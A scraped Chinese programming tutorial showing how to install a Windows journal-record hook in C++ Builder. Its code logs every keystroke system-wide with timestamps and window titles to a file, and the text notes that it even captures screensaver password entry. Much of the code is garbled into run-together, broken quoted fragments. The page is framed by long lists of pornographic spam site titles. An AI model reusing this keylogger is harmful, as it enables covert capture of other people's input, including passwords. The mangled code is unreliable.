亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 編程 > Java > 正文

WIN95日志鉤子(JournalRecord Hook)的使用

2019-09-06 23:33:28
字體:
供稿:網(wǎng)友

                    鉤子是WINDOWS中消息處理機制的一個要點,通過安裝各種鉤子,應(yīng)用程序能夠設(shè)置相應(yīng)的子例程來監(jiān)視系統(tǒng)里的消息傳遞以及在這些消息到達(dá)目標(biāo)窗口程序之前處理它們。鉤子的種類很多,每種鉤子可以截獲并處理相應(yīng)的消息,如鍵盤鉤子可以截獲鍵盤消息,鼠標(biāo)鉤子可以截獲鼠標(biāo)消息,外殼鉤子可以截獲啟動和關(guān)閉應(yīng)用程序的消息,日志鉤子可以監(jiān)視和記錄輸入事件。鉤子分為線程專用鉤子和全局鉤子,線程專用鉤子只監(jiān)視指定的線程,要監(jiān)視系統(tǒng)中的所有線程,必須用到全局鉤子。對于全局鉤子,鉤子函數(shù)必須包含在獨立的動態(tài)鏈接庫(DLL)中,這樣才能被各種相關(guān)聯(lián)的應(yīng)用程序調(diào)用。在WINDOWS中,日志鉤子是個很特別的鉤子,它只有全局鉤子一種,是鍵盤鼠標(biāo)等輸入設(shè)備的消息在系統(tǒng)消息隊列被取出時發(fā)生的,而且系統(tǒng)中只能存在一個這樣的日志鉤子,更重要是,它不必用在動態(tài)鏈接庫中,這樣可以省卻了為安裝一個全局鉤子而建立一個動態(tài)鏈接庫的麻煩。利用日志鉤子,我們可以監(jiān)視各種輸入事件,下面的示例可以用來記錄鍵盤的輸入,當(dāng)有按鍵發(fā)生時,自動記錄按鍵動作的日期和時間以及當(dāng)前激活的窗口名稱。本示例在中文WIN98,Borland C++ Builder4中編譯通過。

---- 1.新建一個工程,在窗體Form1中放置兩個按鈕Button1和Button2, CAPTION分別 為“安裝日志鉤子”和“卸載日志鉤子”。

---- 2. 定義如下全局變量:

HHOOK g_hLogHook=NULL;     //鉤子變量
HWND g_hLastFocus=NULL;    
//記錄上一次得到焦點的窗口句柄
const int KeyPressMask=0x80000000;  //鍵盤掩碼常量
char g_PrvChar;      //保存上一次按鍵值

3.在Button1的OnClick事件中輸入:

void __fastcall TForm1::Button1Click(TObject *Sender)
{
 if  (g_hLogHook==NULL)
  g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,
/t(HOOKPROC)JournalLogProc,
HInstance,0);  //安裝日志鉤子
}

4.在Button2的OnClick事件中輸入:

void __fastcall TForm1::Button2Click(TObject *Sender)
{
if (g_hLogHook!=NULL)
 {UnhookWindowsHookEx(g_hLogHook);
  g_hLogHook=NULL;
 }  //卸載日志鉤子
}

5.輸入鉤子回調(diào)函數(shù):
HOOKPROC JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam)
{
if (iCode<0) return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); if (iCode="=HC_ACTION)" {EVENTMSG *pEvt="(EVENTMSG" *)lParam; int i; HWND hFocus; //保存當(dāng)前活動窗口句柄 char szTitle[256]; //當(dāng)前窗口名稱 char szTime[128]; //保存當(dāng)前的日期和時間 FILE *stream="fopen(“c:/logfile.txt”,"a+t");" if (pEvt->message==WM_KEYDOWN)    
   {int vKey=LOBYTE(pEvt- >paramL);    // 取得虛擬鍵值
    char ch;
    char str[10];
    hFocus=GetActiveWindow();    
 //取得當(dāng)前活動窗口句柄
    if(g_hLastFocus!=hFocus)    
 //當(dāng)前活動窗口是否改變
     {GetWindowText(hFocus,szTitle,256);
      g_hLastFocus=hFocus;
      strcpy(szTime,DateTimeToStr(Now())
.c_str());  //得到當(dāng)前的日期時間
      fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle);  //寫入文件
      fprintf(stream,"%c%c",32,32);  
     }
    int iShift=GetKeyState(0x10);  
//測試SHIFT,CAPTION,NUMLOCK等鍵是否按下
    int iCapital=GetKeyState(0x14);
    int iNumLock=GetKeyState(0x90);
    bool bShift=(iShift & KeyPressMask)==KeyPressMask;  
    bool bCapital=(iCapital & 1)==1;
    bool bNumLock=(iNumLock & 1)==1;
    if (vKey >=48 && vKey<=57) // 數(shù)字0-9 if (!bShift) fprintf(stream,"%c",vKey); if (vKey>=65 && vKey<=90) // A-Z a-z {if (!bCapital) if (bShift) ch="vKey;" else ch="vKey+32;" else if (bShift) ch="vKey+32;" else ch="vKey;" fprintf(stream,"%c",ch); } if (vKey>=96 && vKey<=105) // 小鍵盤0-9 if (bNumLock) fprintf(stream,"%c",vKey-96+48); if (vKey>=186 && vKey<=222) // 其他鍵 {switch (vKey) {case 186:if (!bShift) ch=";" ; else ch=":" ;break; case 187:if (!bShift) ch="=" ; else ch="+" ;break; case 188:if (!bShift) ch="," ; else ch="<" ;break; case 189:if (!bShift) ch="-" ; else ch="_" ;break; case 190:if (!bShift) ch="." ; else ch=" >" ;break; case 191:if (!bShift) ch="/" ; else ch="?" ;break; case 192:if (!bShift) ch="`" ; else ch="~" ;break; case 219:if (!bShift) ch="[" ; else ch="{" ;break; case 220:if (!bShift) ch="/" ; else ch="|" ;break; case 221:if (!bShift) ch="]" ; else ch="}" ;break; case 222:if (!bShift) ch="" '; else ch=""" ;break; default:ch="n" ;break; } if (ch!="n" ) fprintf(stream,"%c",ch); } // if (wParam>=112 && wParam<=123) // 功能鍵 [F1]-[F12] if (vKey>=8 && vKey<=46) //方向鍵 {switch (vKey) {case 8:strcpy(str,"[BK]");break; case 9:strcpy(str,"[TAB]");break; case 13:strcpy(str,"[EN]");break; case 32:strcpy(str,"[SP]");break; case 33:strcpy(str,"[PU]");break; case 34:strcpy(str,"[PD]");break; case 35:strcpy(str,"[END]");break; case 36:strcpy(str,"[HOME]");break; case 37:strcpy(str,"[LF]");break; case 38:strcpy(str,"[UF]");break; case 39:strcpy(str,"[RF]");break; case 40:strcpy(str,"[DF]");break; case 45:strcpy(str,"[INS]");break; case 46:strcpy(str,"[DEL]");break; default:ch="n" ;break; } if (ch!="n" ) {if (g_PrvChar!="vKey)" {fprintf(stream,"%s",str); g_PrvChar="vKey;" } } } } if (pEvt->message==WM_LBUTTONDOWN || pEvt- >message
==WM_RBUTTONDOWN)
     {hFocus=GetActiveWindow();
      if (g_hLastFocus!=hFocus)
/t{g_hLastFocus=hFocus;
/t GetWindowText(hFocus,szTitle,256);      
    strcpy(szTime,DateTimeToStr(Now()).c_str());  
//得到當(dāng)前的日期時間
    fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle);  //寫入文件
    fprintf(stream,"%c%c",32,32);  
/t}
     }
fclose(stream);
return (HOOKPROC)CallNextHookEx
(g_hLogHook,iCode,wParam,lParam);
}

---- 將工程編譯執(zhí)行后,每當(dāng)激活一個窗口時,就會把當(dāng)前窗口名稱寫入文件c:logfile.txt中,當(dāng)有按鍵時,按鍵的名稱也會寫入此文件中,這里的并沒有處理全部的按鍵,讀者可根據(jù)需要添加相應(yīng)的語句。要捕捉鍵盤的按鍵動作,用鍵盤鉤子(Keyboard Hook)也同樣可以實現(xiàn),但是用日志鉤子卻比鍵盤鉤子要方便許多。首先,如果要捕捉其他應(yīng)用程序的按鍵,即做成全局鉤子,鍵盤鉤子一定要單獨放在動態(tài)鏈接庫中,而日志鉤子卻不必;其次,在鍵盤鉤子函數(shù)得到的鍵盤按鍵之前,系統(tǒng)已經(jīng)處理過這些輸入了,如果系統(tǒng)把這些按鍵屏蔽掉,鍵盤鉤子就無法檢測到它們,例如,當(dāng)輸入屏幕保護(hù)程序密碼時,鍵盤鉤子無法檢測到用戶輸入了那些字符,而日志鉤子卻可以檢測到。

---- 無論是哪種鉤子, 都會增加系統(tǒng)處理消息的時間,從而降低系統(tǒng)的性能,我們只有在必要的時候才安裝這些鉤子,而且盡可能在不需要時移走它們。
發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表

圖片精選

国产精品久久中文| 九九99玖玖| 青草av在线| 一本色道久久88综合日韩精品| 成本人h片动漫网站在线观看| 久久激情一区| 欧美成人综合色| 国产一级片免费观看| 在线视频免费观看一区| 任你躁在线精品免费| 色诱色偷偷久久综合| 依依综合在线| 国产乱理伦片a级在线观看| 国产精品a久久久久久| 国产亚洲精品久久777777| 日本动漫同人动漫在线观看| 蜜桃视频第一区免费观看| 日韩精品亚洲aⅴ在线影院| 欧美极品第一页| 日本少妇高清视频| 天天av天天翘天天综合网色鬼国产| 一区二区三区日本久久久| 国产91精品青草社区| 久久精品二区三区| 国产91成人在在线播放| 日韩激情av| 1769国产精品| 欧美精品www在线观看| 国产精品久久久久久久精| 免费av在线网站| 欧美精品日韩www.p站| 欧美一级在线亚洲天堂| 91偷拍精品一区二区三区| 亚洲午夜免费电影| ●精品国产综合乱码久久久久| 69久久99精品久久久久婷婷| 久久伊人一区| 欧美久久亚洲| 日韩在线成人| 日本在线播放不卡| 宅男噜噜噜66一区二区66| 午夜免费精品视频| 岛国精品在线观看| 国产精品成人一区二区三区吃奶| 亚洲综合网av| 久久亚州av| 黑人精品欧美一区二区蜜桃| 永久免费毛片在线观看| 久久久久资源| 国产精品入口| 国产一区不卡在线观看| xxxx在线免费观看| 日本一区二区免费在线观看| 日本一区二区在线视频观看| 在线日韩中文| 一级片免费在线播放| 国产女人18毛片水18精品| 欧美一区二区高清在线观看| 一区二区在线电影| 日日碰狠狠添天天爽| 韩国无码一区二区三区精品| 成人精品在线观看视频| 欧美性生活大片视频| 欧美激情综合亚洲一二区| 色一情一区二区| 久久久久久久尹人综合网亚洲| 精品在线免费视频| 国产夫妻性爱视频| www.九色在线| 天海翼精品一区二区三区| 亚洲国产精品高清| 最新中文字幕av专区| av免费网站在线| 麻豆亚洲av成人无码久久精品| 亚洲少妇视频| www.com在线观看| 国产日韩欧美在线播放不卡| 在线播放免费视频| 国产福利精品一区二区三区| 欧美好骚综合网| 免费观看在线色综合| 久久精品视频中文字幕| 91色综合久久久久婷婷| 亚洲第一香蕉视频| 黄色三级小视频| 人人妻人人澡人人爽| 国内外成人激情免费视频| 秋霞午夜剧场| 波多野结衣在线免费观看| 九色porny丨国产首页在线| 欧美gv在线| 亚洲美女性生活视频| 日韩三级电影网站| 亚洲区免费视频| 日本高清视频在线| 国产精品视频内| 国产欧美一区二区三区精品观看| 一区二区三区免费观看视频| 2019中文字幕全在线观看| 精品丰满人妻无套内射| 天天看天天摸天天操| 自拍电影在线观看| 亚洲欧美怡红院| 亚洲欧美一区二区激情| 国产精品久久久久久久久久三级| 精品国产免费人成电影在线观看四季| xxxxxwwww免费视频| 精品国产一级片| 日韩av资源站| 欧美精品免费看| 欧产日产国产精品视频| 国产精品伦子伦| 一区二区冒白浆视频| 大又大又粗又硬又爽少妇毛片| 黄色欧美网站| 欧美激情一区二区三区成人| 日韩亚洲一区在线播放| 成人免费视频入口| 亚洲成人激情在线观看| 黄网站色欧美视频| 在线中文字幕日韩| 亚洲国产精品精华液ab| 日本激情视频在线| 啊啊啊射了视频网站| 亚洲欧美清纯在线制服| 久久精品亚洲精品国产欧美| 2020中文字幕在线播放| 日韩在线黄色| 色综合男人天堂| 国产伦精品一区二区三区视频我| 91.com视频| 成人精品aaaa网站| 热久久中文字幕| 成人性生活免费看| 黄色aaa大片| 久久久久久福利| 99热99re6国产在线播放| 欧美人妇做爰xxxⅹ性高电影| 免费在线视频一区| 日韩欧美在线1卡| 日本视频免费一区| 成人激情av| 日本高清xxxx| 亚洲另类欧美自拍| 人妻少妇精品无码专区二区| 女同性αv亚洲女同志| 99re这里只有| www.久久草.com| 久久中文字幕电影| 欧美sm极限捆绑bd| 国产成人77亚洲精品www| 一级片avav网址| 国产曰批免费观看久久久| 青青草97国产精品免费观看无弹窗版| 最新国产在线观看| 色综合咪咪久久网| 免费在线观看黄色小视频| 国产资源一区| 亚洲韩国日本中文字幕| 老司机精品视频在线播放| 日韩五码电影| 在线观看亚洲大片短视频| 久久久久免费av| 99久久久久国产精品免费| 在线观看日本网站| 欧美国产日韩一区二区三区| 91热福利电影| 九九热久久66| 在线观看免费观看在线91| 97超碰人人模人人人爽人人爱| 狠狠色2019综合网| 少妇人妻好深好紧精品无码| 要久久电视剧全集免费| 日产精品一线二线三线芒果| 99免费精品| 黄网页免费在线观看| 跑男十一季在线观看免费| 一本色道无码道dvd在线观看| 毛片中文在线观看| 一个人看的www视频免费观看| 亚洲国产一区二区视频| www欧美在线| 国产成人综合一区二区三区| 亚洲xxxxx| 熟女少妇a性色生活片毛片| 色视频www在线播放国产成人| 亚洲精品第五页| 国产三级一区二区| 久久综合久久久久88| 国产成免费视频| 成人a在线观看高清电影| 国产成人免费视频精品含羞草妖精| aa在线观看视频| 色综合中文综合网| 福利资源在线观看| 九一精品国产| 亚洲欧美丝袜中文综合| 欧美国产丝袜视频| 国偷自拍第113页| 毛片在线播放网址| 亚洲欧洲高清在线| 日日躁夜夜躁aaaabbbb| 国产欧美日本一区二区三区| 宅男深夜视频| 日韩视频123| 亚洲免费av电影| 人妻无码久久一区二区三区免费| 国产精品人人| 一个人www视频在线免费观看| 激情久久久久久久| 欧美性猛交xxxx乱大交91| 欧美性猛交xxx乱大交3蜜桃| 国产精品十八以下禁看| 久草成色在线| 色综合一区二区| 亚洲人成网站在线在线观看| 91丨九色丨国产丨porny| 久草视频手机在线| 日韩中文字幕有码| 国产又黄又大久久| 欧美人妻一区二区三区| 99精品视频在线播放观看| 丝袜亚洲精品中文字幕一区| 色妞色视频一区二区三区四区| 亚洲欧美福利视频| 精品嫩草影院久久| 亚洲欧美日韩国产中文在线| 2020av在线| 蜜桃精品视频在线| 亚洲日韩欧美视频| 欧美aa在线| 2018日韩中文字幕| 国产亚洲精品精品精品| 亚洲电影一二三区| 97视频热人人精品| 精品无码免费视频| 亚洲福中文字幕伊人影院| 欧美三级午夜理伦三级中视频| 在线观看免费的av| 国产中文在线| 国产精品久久久久高潮| 国产精品久久久久久久裸模| 黑人と日本人の交わりビデオ| 欧洲精品亚洲精品| 网红女主播少妇精品视频| 小日子的在线观看免费第8集| 久久午夜精品视频| 在线欧美亚洲| 在线观看国产一区二区| 久久久久久久精| 国产suv精品一区二区三区88区| 一本色道精品久久一区二区三区| 国产精品25p| 国产精品久久久久久妇女| 不卡一卡二卡三乱码免费网站| 久久免费黄色| 亚洲免费网站| 视频欧美一区| 色黄久久久久久| a级影片在线| 色老汉一区二区三区| 香港一级纯黄大片| 日韩有码视频在线| 手机看片福利视频| 午夜免费福利在线| 日本肉体xxxx裸体xxx免费| 欧美白人最猛性xxxxx69交| 欧美尤物巨大精品爽| 图片区小说区亚洲| 色丁香婷婷综合久久| 久久人体视频| 国内国产区免费视频| 激情文学一区| 爱爱永久免费视频| 激情成人综合| 成人va在线观看| 欧美久久精品| 97精品一区二区视频在线观看| 欧美国产一级片| 国产又黄又大又爽| 久久婷婷成人综合色| 狠狠综合久久久综合| 亚洲欧美日韩国产手机在线| 精品久久久无码人妻字幂| 在线日韩欧美视频| av网址在线播放| 国产精品动漫网站| 国内免费久久久久久久久久久| 北条麻妃亚洲一区| 99热这里只有精品5| 青檬在线电视剧在线观看| 99久久久国产精品无码免费| 中文在线资源观看网站视频免费不卡| 国产精品国产三级国产专播精品人| 成人在线视频免费看| ass精品国模裸体欣赏pics| 精品成人一区二区三区四区| 亚洲女人****多毛耸耸8| 成人看片在线观看| 欧美一区二区影院| 国产精品99久久久久久有的能看| 成人国产激情在线| 国内精彩免费自拍视频在线观看网址| 欧美日韩在线播放一区二区| 国产成在线观看免费视频| 中文在线资源新版官网| 欧美2区3区4区| 国产鲁鲁视频在线观看免费| 久久久久久久久久久人体| 你懂得视频网站| 在线观看av中文字幕| 午夜视频你懂的| 日韩精品资源二区在线| 国内精品视频一区二区三区八戒| 日韩成人一级| 成人午夜视频免费看| 无套内谢丰满少妇中文字幕| 欧美日韩伦理一区二区| 久久久免费在线观看| 欧美成人精品三级在线观看| 色偷偷久久人人79超碰人人澡| 亚洲欧美日韩爽爽影院| 中文视频一区视频二区视频三区| 五月天黄色网址| 亚洲视频综合在线| 久久亚洲av午夜福利精品一区| 两个人免费视频观看日本| 91超碰中文字幕久久精品|